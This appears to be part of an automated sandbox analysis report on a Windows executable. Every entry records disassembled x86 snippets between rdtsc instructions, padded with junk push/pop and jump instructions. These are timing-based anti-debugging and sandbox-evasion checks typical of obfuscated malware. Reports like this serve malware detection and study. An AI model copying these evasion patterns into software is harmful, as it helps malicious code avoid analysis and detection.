Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBE534 second address: BBE554 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F3F9D05A4C6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBE554 second address: BBE55A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBE55A second address: BBE577 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F9D05A4C9h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBE577 second address: BBE5B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 js 00007F3F9CD6C876h 0x0000000d jmp 00007F3F9CD6C881h 0x00000012 push eax 0x00000013 pop eax 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F3F9CD6C87Ch 0x0000001c jmp 00007F3F9CD6C87Bh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBE5B1 second address: BBE5B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBFB76 second address: BBFB80 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3F9CD6C876h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC1C0F second address: BC1C13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC1C13 second address: BC1C43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F9CD6C87Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push edi 0x0000000e add di, 1E4Fh 0x00000013 pop edi 0x00000014 push 00000000h 0x00000016 jns 00007F3F9CD6C87Ch 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 pushad 0x00000021 popad 0x00000022 push ebx 0x00000023 pop ebx 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC1C43 second address: BC1C4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F3F9D05A4B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC4C01 second address: BC4C06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC4C06 second address: BC4C31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F3F9D05A4C1h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F3F9D05A4BFh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC5B99 second address: BC5BA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F3F9CD6C876h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC4E31 second address: BC4E37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC6ACD second address: BC6AE2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F9CD6C881h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC6D9B second address: BC6DA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jbe 00007F3F9D05A4BCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC8C0E second address: BC8C24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F9CD6C87Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC8C24 second address: BC8C29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC8C29 second address: BC8C2E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC7CF8 second address: BC7D12 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F9D05A4C6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC9CD9 second address: BC9D4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 push eax 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 popad 0x0000000a push eax 0x0000000b jmp 00007F3F9CD6C883h 0x00000010 nop 0x00000011 mov ebx, dword ptr [ebp+122D1819h] 0x00000017 jnl 00007F3F9CD6C87Bh 0x0000001d push 00000000h 0x0000001f mov di, F051h 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push edi 0x00000028 call 00007F3F9CD6C878h 0x0000002d pop edi 0x0000002e mov dword ptr [esp+04h], edi 0x00000032 add dword ptr [esp+04h], 0000001Dh 0x0000003a inc edi 0x0000003b push edi 0x0000003c ret 0x0000003d pop edi 0x0000003e ret 0x0000003f clc 0x00000040 xchg eax, esi 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007F3F9CD6C87Fh 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC9D4B second address: BC9D4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC9D4F second address: BC9D55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC8DF5 second address: BC8E00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F3F9D05A4B6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC8E00 second address: BC8E83 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F9CD6C880h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov di, 651Bh 0x00000010 push dword ptr fs:[00000000h] 0x00000017 add ebx, 3C7990AEh 0x0000001d call 00007F3F9CD6C87Ah 0x00000022 mov di, ax 0x00000025 pop edi 0x00000026 mov dword ptr fs:[00000000h], esp 0x0000002d mov ebx, 1F31CFBEh 0x00000032 mov eax, dword ptr [ebp+122D0355h] 0x00000038 push 00000000h 0x0000003a push ebx 0x0000003b call 00007F3F9CD6C878h 0x00000040 pop ebx 0x00000041 mov dword ptr [esp+04h], ebx 0x00000045 add dword ptr [esp+04h], 0000001Bh 0x0000004d inc ebx 0x0000004e push ebx 0x0000004f ret 0x00000050 pop ebx 0x00000051 ret 0x00000052 add edi, dword ptr [ebp+122D385Fh] 0x00000058 push FFFFFFFFh 0x0000005a xor dword ptr [ebp+122D191Ah], edx 0x00000060 push eax 0x00000061 jnp 00007F3F9CD6C87Eh 0x00000067 push edx 0x00000068 push eax 0x00000069 push edx 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCAD11 second address: BCAD1B instructions: 0x00000000 rdtsc 0x00000002 js 00007F3F9D05A4B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCAD1B second address: BCAD21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCAD21 second address: BCAD25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCAD25 second address: BCADB1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F9CD6C889h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e pushad 0x0000000f jmp 00007F3F9CD6C881h 0x00000014 mov ecx, dword ptr [ebp+1245241Fh] 0x0000001a popad 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push ecx 0x00000020 call 00007F3F9CD6C878h 0x00000025 pop ecx 0x00000026 mov dword ptr [esp+04h], ecx 0x0000002a add dword ptr [esp+04h], 0000001Ah 0x00000032 inc ecx 0x00000033 push ecx 0x00000034 ret 0x00000035 pop ecx 0x00000036 ret 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push edi 0x0000003c call 00007F3F9CD6C878h 0x00000041 pop edi 0x00000042 mov dword ptr [esp+04h], edi 0x00000046 add dword ptr [esp+04h], 00000019h 0x0000004e inc edi 0x0000004f push edi 0x00000050 ret 0x00000051 pop edi 0x00000052 ret 0x00000053 xchg eax, esi 0x00000054 pushad 0x00000055 push eax 0x00000056 push edx 0x00000057 jbe 00007F3F9CD6C876h 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCADB1 second address: BCADB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCDE23 second address: BCDE40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3F9CD6C889h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCCFF8 second address: BCD009 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F9D05A4BCh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCD009 second address: BCD03D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F3F9CD6C887h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push edi 0x00000010 pop edi 0x00000011 jmp 00007F3F9CD6C880h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCD03D second address: BCD043 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC9FA6 second address: BC9FAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC9FAA second address: BC9FB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC9FB0 second address: BC9FB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC9FB6 second address: BC9FBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCD043 second address: BCD0B0 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F3F9CD6C876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov bh, 0Eh 0x0000000f push dword ptr fs:[00000000h] 0x00000016 pushad 0x00000017 sbb cl, 00000021h 0x0000001a mov dword ptr [ebp+122D22DDh], esi 0x00000020 popad 0x00000021 mov di, E491h 0x00000025 mov dword ptr fs:[00000000h], esp 0x0000002c cmc 0x0000002d mov eax, dword ptr [ebp+122D1545h] 0x00000033 push 00000000h 0x00000035 push ebp 0x00000036 call 00007F3F9CD6C878h 0x0000003b pop ebp 0x0000003c mov dword ptr [esp+04h], ebp 0x00000040 add dword ptr [esp+04h], 00000017h 0x00000048 inc ebp 0x00000049 push ebp 0x0000004a ret 0x0000004b pop ebp 0x0000004c ret 0x0000004d mov edi, dword ptr [ebp+122D3543h] 0x00000053 push ebx 0x00000054 pop ebx 0x00000055 push FFFFFFFFh 0x00000057 mov ebx, dword ptr [ebp+122D382Bh] 0x0000005d nop 0x0000005e push edx 0x0000005f pushad 0x00000060 je 00007F3F9CD6C876h 0x00000066 push eax 0x00000067 push edx 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCFF8F second address: BCFF97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCDF64 second address: BCDF78 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F9CD6C880h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCDF78 second address: BCDF94 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c jmp 00007F3F9D05A4BFh 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCDF94 second address: BCDF99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD1571 second address: BD1575 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD1575 second address: BD157B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD157B second address: BD158C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push esi 0x0000000b pushad 0x0000000c popad 0x0000000d pop esi 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD071A second address: BD077B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F9CD6C87Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a mov dword ptr [esp], eax 0x0000000d pushad 0x0000000e push edi 0x0000000f mov edi, dword ptr [ebp+122D1D14h] 0x00000015 pop edx 0x00000016 mov dword ptr [ebp+122D17BAh], edx 0x0000001c popad 0x0000001d push dword ptr fs:[00000000h] 0x00000024 jmp 00007F3F9CD6C87Ah 0x00000029 mov dword ptr fs:[00000000h], esp 0x00000030 and bl, FFFFFF9Fh 0x00000033 mov eax, dword ptr [ebp+122D1079h] 0x00000039 mov di, ax 0x0000003c jns 00007F3F9CD6C87Ch 0x00000042 mov dword ptr [ebp+122D1F89h], ebx 0x00000048 push FFFFFFFFh 0x0000004a mov dword ptr [ebp+122D2983h], esi 0x00000050 push eax 0x00000051 push edx 0x00000052 push eax 0x00000053 push edx 0x00000054 push eax 0x00000055 pop eax 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD077B second address: BD077F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD17F6 second address: BD180F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3F9CD6C884h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD180F second address: BD1820 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jne 00007F3F9D05A4B6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD45CD second address: BD45E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 pushad 0x0000000a push eax 0x0000000b jne 00007F3F9CD6C876h 0x00000011 push edi 0x00000012 pop edi 0x00000013 pop eax 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD45E4 second address: BD45EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD5CEC second address: BD5D12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jbe 00007F3F9CD6C88Bh 0x0000000d jmp 00007F3F9CD6C883h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD5D12 second address: BD5D18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD5D18 second address: BD5D1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD7750 second address: BD7772 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F3F9D05A4C8h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDC1B6 second address: BDC1C0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDC1C0 second address: BDC1CA instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F3F9D05A4B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDC1CA second address: BDC1D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDC1D3 second address: BDC1D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B65DCF second address: B65DD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B65DD3 second address: B65DDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B65DDC second address: B65DE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B65DE1 second address: B65E22 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop edx 0x00000008 jmp 00007F3F9D05A4C0h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F3F9D05A4C6h 0x00000017 jmp 00007F3F9D05A4BEh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B65E22 second address: B65E3E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F3F9CD6C884h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDBA5C second address: BDBA60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDBC14 second address: BDBC18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE19AA second address: BE19AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE1A9E second address: BE1AAD instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3F9CD6C876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE1AAD second address: BE1AC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b popad 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE1AC2 second address: BE1AC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE5AAD second address: BE5ABF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007F3F9D05A4B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d push edi 0x0000000e pop edi 0x0000000f push esi 0x00000010 pop esi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE5ABF second address: BE5ACB instructions: 0x00000000 rdtsc 0x00000002 ja 00007F3F9CD6C87Eh 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE60C0 second address: BE60DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F9D05A4C7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE60DB second address: BE60F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F3F9CD6C87Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 pop edi 0x00000011 push esi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE68E9 second address: BE6902 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3F9D05A4C2h 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE6902 second address: BE690C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE6BF4 second address: BE6BF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEC47E second address: BEC4A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F9CD6C881h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007F3F9CD6C876h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEC4A0 second address: BEC4A6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEC4A6 second address: BEC4B6 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F3F9CD6C882h 0x00000008 jnp 00007F3F9CD6C876h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEB15B second address: BEB16D instructions: 0x00000000 rdtsc 0x00000002 js 00007F3F9D05A4BCh 0x00000008 js 00007F3F9D05A4B6h 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEB556 second address: BEB56D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F9CD6C883h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEB6AD second address: BEB6B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F3F9D05A4B6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEB874 second address: BEB87A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEACF0 second address: BEACFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F3F9D05A4B6h 0x0000000a rdtsc
